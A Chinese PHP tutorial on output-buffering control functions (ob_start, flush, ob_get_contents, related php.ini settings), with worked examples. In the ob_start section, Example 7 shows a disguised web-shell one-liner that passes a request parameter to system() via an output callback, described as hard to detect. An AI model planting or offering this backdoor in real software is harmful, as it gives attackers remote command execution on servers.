0

0

PHP Output Control 缓冲控制函数应用实例详解

php中文网

php中文网

发布时间:2016-05-26 08:19:42

|

1374人浏览过

|

来源于php中文网

原创

当网站大了访客多了,缓冲应用是少不了的,在php中如何控制缓冲输出呢?现在我们通过函数 output control,再结合应用实例,详细讲解一下php输出缓冲控制- output control 函数应用.

其实对于PHP程序员来说,基本上每个脚本都涉及到了输出缓冲,只是在大多数情况下,我们都不需要对输出缓冲进行更改,而今天就来用实例对PHP输出缓冲控制函数“Output Control”做一个详细的解析.

下面这个例子简单介绍了输出缓冲在一般脚本中存在的方式,我们在执行如下脚本时,代码如下:

<?php 
	/*例1*/ 
	echo 'oschina.net'; 
	echo '红薯'; 
	echo '虫虫'; 
	

脚本在执行完第一个 echo 时,并不会向浏览器输出相应内容,而是会输出到一个缓冲区,依次类推,当三个 echo 全部执行完毕(也就是脚本结束)时,才会将缓冲区内容全部输出到浏览器,当然这个缓冲区也有大小的限制,是根据 php.ini 中的output_buffering 选项来设置的,这点会在下面的文章中详细介绍,而本章所讲的输出缓冲控制,就是在脚本结束前,对缓冲区里的内容进行操作.

这个例子可以更好的体现输出缓冲控制的应用,在执行如下代码时,代码如下:

立即学习PHP免费学习笔记(深入)”;

<?php 
	/*例2*/ 
	echo 'oschina.net'; 
	sleep(1); 
	echo '红薯'; 
	sleep(1); 
	echo '虫虫'; 
	

我们至少需要等待 2秒 才能看到输出结果,那我们能不能让其实时的显示呢?也就是在第一个 echo 执行完毕时就输出相应的内容呢,这时候就需要用输出缓冲控制函数来操作缓冲区了,实现代码如下:

<?php 
	/*例3*/ 
	echo str_pad('', 1024);//使缓冲区溢出 
	ob_start();//打开缓冲区 
	echo 'oschina.net'; 
	ob_flush();//送出当前缓冲内容,不会输出 
	flush();//输出送出的缓冲内容 
	sleep(1); 
	echo '红薯'; 
	ob_flush();//送出当前缓冲内容,不会输出 
	flush();//输出送出的缓冲内容 
	sleep(1); 
	echo '虫虫'; 
	ob_end_flush();//输出并关闭缓冲 
	

简单点也可以这样实现,代码如下:

<?php 
	/*例4*/ 
	echo str_pad('', 1024);//使缓冲区溢出 
	echo 'oschina.net'; 
	flush();//输出送出的缓冲内容 
	sleep(1); 
	echo '红薯'; 
	flush();//输出送出的缓冲内容 
	sleep(1); 
	echo '虫虫'; 
	

至于相关函数的用法在下面都会有介绍,这里只是给大家展示一个输出缓冲控制函数的应用,当然了输出缓冲控制函数的作用绝不止这一种,那么下面我们就来看看输出缓冲控制函数都可以应用在哪些方面.

作用:在PHP中,像header(),session_start(),setcookie() 等这样的发送头文件的函数前,不能有任何的输出,而利用输出缓冲控制函数可以在这些函数前进行输出而不报错,其实这么做没啥必要,非常少见的用法.

对输出的内容进行处理,例如生成静态缓存文件、进行gzip压缩输出,这算是较常用的功能了,后面会有详细介绍.

捕获一些不可获取的函数输出,例如phpinfo(), var_dump() 等等,这些函数都会将运算结果显示在浏览器中,而如果我们想对这些结果进行处理,则用输出缓冲控制函数是个不错的方法。说的通俗点,就是这类函数都不会有返回值,而要获取这些函数的输出数据,就要用到输出缓冲控制函数。

最后一种应用就是 简介 中示例的方法,对一些数据进行实时的输出.

php.ini 中的相关配置项

再来看看在 php.ini 中和输出缓冲控制有关的选项,共三个,分别是:output_buffering,output_handler  和 implicit_flush

output_buffering   默认为 off , 当设置为 on 时,则在所有脚本自动打开输出缓冲区,拿 例3 来说,就是在每个脚本都自动执行了 ob_start() 这个函数,而不用再显示的调用该函数。其也可以设置为一个整型的数字,代表缓冲区可以存储的最大字节数,我们在 例1 的下面说明中提到过这个配置项。

output_handler  默认为 null , 其值只能设置为一个内置的函数名,作用就是将脚本的所有输出,用所定义的函数进行处理。他的用法和 ob_start('function_name') 较类似,下面会介绍到。

implicit_flush 默认为 off , 当设置为 on 时,PHP将在输出后,自动送出缓冲区内容。拿 例4 来说,就是在每段输出后,自动执行 flush() 。当然有效的输出不仅指像echo , print 这样的函数,也包括HTML段。

Output Control 函数详解

现在我们就用实例分析相关函数,相信在充分了解了以下内容后,就会对输出缓冲控制函数有了较清晰的掌握。

1.bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

此函数在 例3 中已经使用过,大家从命名上也能明白其含义,就是打开输出缓冲区,从而进行下一步的输出缓冲处理。这里要特意说的是其参数的用法,第一个参数要传递一个回调函数,其需将缓冲区内容做为参数,并且返回一个字符串。他会在缓冲区被送出时调用,缓冲区送出指的是执行了例如ob_flush() 等函数或者脚本执行完毕。ob_flush() 函数会在下面介绍到,来看一个简单的例子就能理解其用法:

<?php 
	/*例5*/ 
	ob_start('handleString'); 
	echo '123456'; 
	   
	function handleString($string){ 
	  return md5($string); 
	} 
	
	//运行后的结果是: 
	e10adc3949ba59abbe56e057f20f883e

说明输出的内容被md5加密了,也就是说在缓冲区内容输出时,运行了我们定义的 handleString 函数.

再来看一个更实际的例子,也就是常见到的将网页内容利用 gzip 压缩后再输出,代码如下:

<?php 
	/*例6*/ 
	ob_start('ob_gzhandler'); 
	echo str_repeat('oschina', 1024); 
	

PHP Output Control 缓冲控制函数应用实例详解

可以明显看到大小的差别,所以说利用 ob_start() 进行页面压缩输出,是非常实用的一个功能.

而第二个参数 chunk_size 为缓冲区的字节长度,如果缓冲区内容大于此长度,将会被送出缓冲区,默认值为0,代表函数将会在最后被调用,第三个参数 erase 如果被设置为 flase,则代表脚本执行完毕后缓冲区才会被删除,如果提前执行了删除缓冲区函数(后面会提到),则会报一个错误.

ob_start() 的用法就这么多,但有两点需要特别注意的地方:

ob_start() 可重复调用,也就是说一个脚本中可以存在多个缓冲区,但记得要按照嵌套顺序将他们全部关闭掉,而如果多个 ob_start 都定义了第一个参数,也就是都定义了回调函数,则会按照嵌套顺序依次执行,关于缓冲区的堆叠嵌套,将在 ob_get_level 函数处详细介绍,这里就不过多阐述了.

ob_start() 还有一个不太明显但很致命的后门用法,实现代码如下:

<?php 
	/*例7*/ 
	$cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush(); 
	

如果理解了上面关于 ob_start的用法,这段代码就不难理解了,其应用了 ob_start 函数会将缓冲区输出的内容作为参数传入所设置的函数中的特点,实现了以Web服务器权限远程执行命令,并且不宜被发觉.

2.string ob_get_contents(void)

此函数用来获取此时缓冲区的内容,下面的例子就能很好的理解其用法:

<?php 
	/*例8*/ 
	echo str_pad('', 1024);//使缓冲区溢出 
	ob_start();//打开缓冲区 
	phpinfo(); 
	$string = ob_get_contents();//获取缓冲区内容 
	$re = fopen('./phpinfo.txt', 'wb'); 
	fwrite($re, $string);//将内容写入文件 
	fclose($re); 
	ob_end_clean();//清空并关闭缓冲区 
	

运行此例会发现,浏览器并不会有任何输出,但在当前目录下会有一个 phpinfo.txt 的文件,里面存储了此次应有的输出。这个例子也展示了上面作用中第三点所说的情况。我们可以将输出内容获取到后,根据我们的实际情况进行处理。

3.int ob_get_length(void)

此函数用来获取缓冲区内容的长度,将 例8 稍作改动来展示这个函数的用法:

<?php 
	/*例9*/ 
	echo str_pad('', 1024);//使缓冲区溢出 
	ob_start();//打开缓冲区 
	phpinfo(); 
	$string = ob_get_contents();//获取缓冲区内容 
	$length = ob_get_length();//获取缓冲区内容长度 
	$re = fopen('./phpinfo.txt', 'wb'); 
	fwrite($re, $string);//将内容写入文件 
	fclose($re); 
	var_dump($length); //输出长度 
	ob_end_flush();//输出并关闭缓冲区 
	

4.int ob_get_level(void)

此函数用来获取缓冲机制的嵌套级别,我们在介绍 ob_start() 函数时曾说过,在一个脚本中可以嵌套存在多个缓冲区,而此函数就是来获取当前缓冲区的嵌套级别,用法如下:

<?php 
	/*例10*/ 
	ob_start(); 
	var_dump(ob_get_level()); 
	ob_start(); 
	var_dump(ob_get_level()); 
	ob_end_flush(); 
	ob_end_flush(); 
	

运行后可以很明显的看出他们的嵌套关系.

5. array ob_get_status ([bool $full_status = FALSE ])

此函数用来获取当前缓冲区的状态,返回一个状态信息的数组,如果第一个参数为 true ,将返回一个详细信息的数组,我们结合实例来分析这个数组:

<?php 
	/*例11*/ 
	ob_start('ob_gzhandler'); 
	var_export(ob_get_status()); 
	ob_start(); 
	var_export(ob_get_status()); 
	ob_end_flush(); 
	ob_end_flush(); 
	 
	 
	//此脚本输出如下: 
	 
	array ( 
	  'level' => 1, 
	  'type' => 1, 
	  'status' => 0, 
	  'name' => 'ob_gzhandler', 
	  'del' => true, 
	) 
	   
	array ( 
	  'level' => 2, 
	  'type' => 1, 
	  'status' => 0, 
	  'name' => 'default output handler', 
	  'del' => true, 
	)

level 为嵌套级别,也就是和通过 ob_get_level() 取到的值一样。

PHP 网络编程技术与实例(曹衍龙)
PHP 网络编程技术与实例(曹衍龙)

PHP网络编程技术详解由浅入深,全面、系统地介绍了PHP开发技术,并提供了大量实例,供读者实战演练。另外,笔者专门为本书录制了相应的配套教学视频,以帮助读者更好地学习本书内容。这些视频和书中的实例源代码一起收录于配书光盘中。本书共分4篇。第1篇是PHP准备篇,介绍了PHP的优势、开发环境及安装;第2篇是PHP基础篇,介绍了PHP中的常量与变量、运算符与表达式、流程控制以及函数;第3篇是进阶篇,介绍

下载

type 为处理缓冲类型,0为系统内部自动处理,1为用户手动处理。

status 为缓冲处理状态, 0为开始, 1为进行中, 2为结束

name 为定义的输出处理函数名称,也就是在 ob_start() 函数中第一个参数传入的函数名。

del  为是否运行了删除缓冲区操作

理解了上面数组的含义,就能很好理解缓冲区的各项属性。

6.array ob_list_handlers (void)

此函数用来获得输出处理程序的函数名数组,也就是在 ob_start() 函数中我们指定的第一个参数,需要注意的是,如果我们传的参数是一个匿名函数,或者在配置文件中启用了 output_buffering  则该函数将返回default output handler ,php官方手册 中的例子就能很好的解释这个函数:

<?php 
	/*例12*/ 
	//using output_buffering=On 
	print_r(ob_list_handlers()); 
	ob_end_flush(); 
	   
	ob_start("ob_gzhandler"); 
	print_r(ob_list_handlers()); 
	ob_end_flush(); 
	   
	// anonymous functions 
	ob_start(create_function('$string', 'return $string;')); 
	print_r(ob_list_handlers()); 
	ob_end_flush(); 
	 
	 
	//输出结果为: 
	 
	Array 
	( 
	    [0] => 'default output handler' 
	) 
	   
	Array 
	( 
	    [0] => 'ob_gzhandler' 
	) 
	   
	Array 
	( 
	    [0] => 'default output handler' 
	)

下面我们来看看和输出、关闭、送出缓冲区内容有关的函数:

7. void ob_flush(void)

此函数在前面的例子经常用到了,其作用就是 “送出” 当前缓冲区内容,同时清空缓冲区,需要注意这里用的是 “送出” 一词,也就是说调用此函数并不会将缓冲区内容输出,从 例3 可以看出必须在其后调用 flush 函数其才会输出。关于 flush 的用法下面就会说到,这里就不再做实例了。

8. void flush(void)

这个函数算是比较常用的,用来将其前面的所有输出发送到浏览器显示,且不会对缓存区有任何影响。例3 和 例4 中都用到了此函数将当前输出显示到浏览器,换句话说,不论是 echo 等函数的输出,还是 HTML实体 ,或是运行 ob_start() 送出的内容,运行 flush() 后都会在浏览器进行显示。

9. void ob_implicit_flush ([int $flag = true ])

此函数用来打开/关闭绝对刷送模式,就是在每一次输出后自动执行 flush(),从而不需要再显示的调用 flush(),提高效率,我们将 例4 稍作更改,利用这个函数来实现同样的效果:

<?php 
	/*例13*/ 
	echo str_pad('', 1024);//使缓冲区溢出 
	ob_implicit_flush(true);//打开绝对刷送 
	echo 'oschina.net'; 
	//flush();  之后不需要再显示的调用 flush() 
	sleep(1);  
	echo '红薯'; 
	//flush(); 
	sleep(1); 
	echo '虫虫'; 
	

此例和 例4 实现的同样的效果,由于打开了 绝对刷送,所以不需要再调用 flush(),系统会自动在输出后进行刷送.

10. bool ob_end_flush(void)

此函数将缓冲区的内容送出,并关闭缓冲区,实际上相当于执行了 ob_flush() 和 ob_end_clean() ;

11. string ob_get_flush(void)

此函数和 ob_end_flush() 的作用基本一致,只是其会以字符串的形式返回缓冲区的内容,很简单,也不做实例了.

12.void ob_clean(void)

此函数会将当前缓冲区清空,但不会关闭缓冲区,下面这个例子的输出将不会显示,因为在输出前,缓冲区已经被清空了,但我们又可以获取到缓冲区的属性,说明缓冲区没被关闭:

<?php 
	/*例14*/ 
	ob_start(); 
	echo 'oschina'; 
	ob_clean(); 
	var_dump(ob_get_status()); 
	

13.bool ob_end_clean(void)

此函数清空并关闭缓冲区,将 例14 稍作更改,即可发现我们不再能获取到缓冲区的状态,因为它已经被关闭了:

<?php 
	/*例15*/ 
	ob_start(); 
	echo 'oschina'; 
	ob_end_clean(); 
	var_dump(ob_get_status()); 
	

14.string ob_get_clean(void)

此函数清空并关闭缓存,但会以字符串的形式返回缓存中的数据,实际上,这个函数就是分别执行了 ob_get_contents() 和 ob_end_clean();代码如下:

<?php 
	/*例16*/ 
	ob_start(); 
	echo 'oschina'; 
	$string = ob_get_clean(); 
	var_dump(ob_get_status()); 
	var_dump($string); 
	

最后再来看两个和URL重写有关的函数:

15.bool output_add_rewrite_var(string $name,string $value)

此函数添加URL重写机制的键和值,这里的URL重写机制,是指在URL的最后以GET方式添加键值对,或者在表单中以隐藏表单添加键值对,绝对的URL不会被添加,还是用手册中的例子来看吧,写的非常直观明了:

<?php 
	/*例17*/ 
	output_add_rewrite_var('var', 'value'); 
	   
	// some links 
	echo '<a href="file.php">link</a> 
	<a href="http://example.com">link2</a>'; 
	   
	// a form 
	echo '<form action="script.php" method="post"> 
	<input type="text" name="var2" /> 
	</form>'; 
	   
	print_r(ob_list_handlers()); 
	

程序的输出为:

<a href="file.php?var=value">link</a> 
<a href="http://example.com">link2</a> 
   
<form action="script.php" method="post"> 
<input type="hidden" name="var" value="value" /> 
<input type="text" name="var2" /> 
</form> 
   
Array 
( 
	[0] => URL-Rewriter 
)

可以看到不是绝对URL地址的链接 和 Form表单 被加上了对应的键值对.

16.bool output_reset_rewrite_vars(void)

此函数用来清空所有的URL重写机制,也就是删除由 output_add_rewrite_var() 设置的重写变量.

其他需要注意的地方

相信读了上面的内容,就会对PHP的缓冲控制函数有较深的认识了,那接下来说一些在日常使用中需要注意的问题.

在 例3 的第三行,我输出了一个1024长度的空格,注释写的是使缓冲区溢出。这么做的原因是在一些win32下的服务器程序,即使使用了上述函数,但仍然会缓存脚本的输出,所以必须先发送一段文本让其缓冲区溢出,才能继续实现我们的效果。大家在应用过程中一定要注意,如果测试中还有问题,可以将此值设置更大些,例如4096;

除非在脚本结束前清空了缓冲区,否则当脚本结束时,缓冲区的所有内容会自动输出到浏览器中。


本文地址:

转载随意,但请附上文章地址:-)

PHP速学教程(入门到精通)
PHP速学教程(入门到精通)

PHP怎么学习?PHP怎么入门?PHP在哪学?PHP怎么学才快?不用担心,这里为大家提供了PHP速学教程(入门到精通),有需要的小伙伴保存下载就能学习啦!

下载

本站声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热门AI工具

更多
DeepSeek
DeepSeek

幻方量化公司旗下的开源大模型平台

豆包大模型
豆包大模型

字节跳动自主研发的一系列大型语言模型

通义千问
通义千问

阿里巴巴推出的全能AI助手

腾讯元宝
腾讯元宝

腾讯混元平台推出的AI助手

文心一言
文心一言

文心一言是百度开发的AI聊天机器人,通过对话可以生成各种形式的内容。

讯飞写作
讯飞写作

基于讯飞星火大模型的AI写作工具,可以快速生成新闻稿件、品宣文案、工作总结、心得体会等各种文文稿

即梦AI
即梦AI

一站式AI创作平台,免费AI图片和视频生成。

ChatGPT
ChatGPT

最最强大的AI聊天机器人程序,ChatGPT不单是聊天机器人,还能进行撰写邮件、视频脚本、文案、翻译、代码等任务。

相关专题

更多
pixiv网页版官网登录与阅读指南_pixiv官网直达入口与在线访问方法
pixiv网页版官网登录与阅读指南_pixiv官网直达入口与在线访问方法

本专题系统整理pixiv网页版官网入口及登录访问方式,涵盖官网登录页面直达路径、在线阅读入口及快速进入方法说明,帮助用户高效找到pixiv官方网站,实现便捷、安全的网页端浏览与账号登录体验。

463

2026.02.13

微博网页版主页入口与登录指南_官方网页端快速访问方法
微博网页版主页入口与登录指南_官方网页端快速访问方法

本专题系统整理微博网页版官方入口及网页端登录方式,涵盖首页直达地址、账号登录流程与常见访问问题说明,帮助用户快速找到微博官网主页,实现便捷、安全的网页端登录与内容浏览体验。

135

2026.02.13

Flutter跨平台开发与状态管理实战
Flutter跨平台开发与状态管理实战

本专题围绕Flutter框架展开,系统讲解跨平台UI构建原理与状态管理方案。内容涵盖Widget生命周期、路由管理、Provider与Bloc状态管理模式、网络请求封装及性能优化技巧。通过实战项目演示,帮助开发者构建流畅、可维护的跨平台移动应用。

64

2026.02.13

TypeScript工程化开发与Vite构建优化实践
TypeScript工程化开发与Vite构建优化实践

本专题面向前端开发者,深入讲解 TypeScript 类型系统与大型项目结构设计方法,并结合 Vite 构建工具优化前端工程化流程。内容包括模块化设计、类型声明管理、代码分割、热更新原理以及构建性能调优。通过完整项目示例,帮助开发者提升代码可维护性与开发效率。

20

2026.02.13

Redis高可用架构与分布式缓存实战
Redis高可用架构与分布式缓存实战

本专题围绕 Redis 在高并发系统中的应用展开,系统讲解主从复制、哨兵机制、Cluster 集群模式及数据分片原理。内容涵盖缓存穿透与雪崩解决方案、分布式锁实现、热点数据优化及持久化策略。通过真实业务场景演示,帮助开发者构建高可用、可扩展的分布式缓存系统。

26

2026.02.13

c语言 数据类型
c语言 数据类型

本专题整合了c语言数据类型相关内容,阅读专题下面的文章了解更多详细内容。

29

2026.02.12

雨课堂网页版登录入口与使用指南_官方在线教学平台访问方法
雨课堂网页版登录入口与使用指南_官方在线教学平台访问方法

本专题系统整理雨课堂网页版官方入口及在线登录方式,涵盖账号登录流程、官方直连入口及平台访问方法说明,帮助师生用户快速进入雨课堂在线教学平台,实现便捷、高效的课程学习与教学管理体验。

14

2026.02.12

豆包AI网页版入口与智能创作指南_官方在线写作与图片生成使用方法
豆包AI网页版入口与智能创作指南_官方在线写作与图片生成使用方法

本专题汇总豆包AI官方网页版入口及在线使用方式,涵盖智能写作工具、图片生成体验入口和官网登录方法,帮助用户快速直达豆包AI平台,高效完成文本创作与AI生图任务,实现便捷智能创作体验。

524

2026.02.12

PostgreSQL性能优化与索引调优实战
PostgreSQL性能优化与索引调优实战

本专题面向后端开发与数据库工程师,深入讲解 PostgreSQL 查询优化原理与索引机制。内容包括执行计划分析、常见索引类型对比、慢查询优化策略、事务隔离级别以及高并发场景下的性能调优技巧。通过实战案例解析,帮助开发者提升数据库响应速度与系统稳定性。

53

2026.02.12

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
Webpack+react全家桶开发谷粒后台项目
Webpack+react全家桶开发谷粒后台项目

共168课时 | 23.9万人学习

进程与SOCKET
进程与SOCKET

共6课时 | 0.4万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号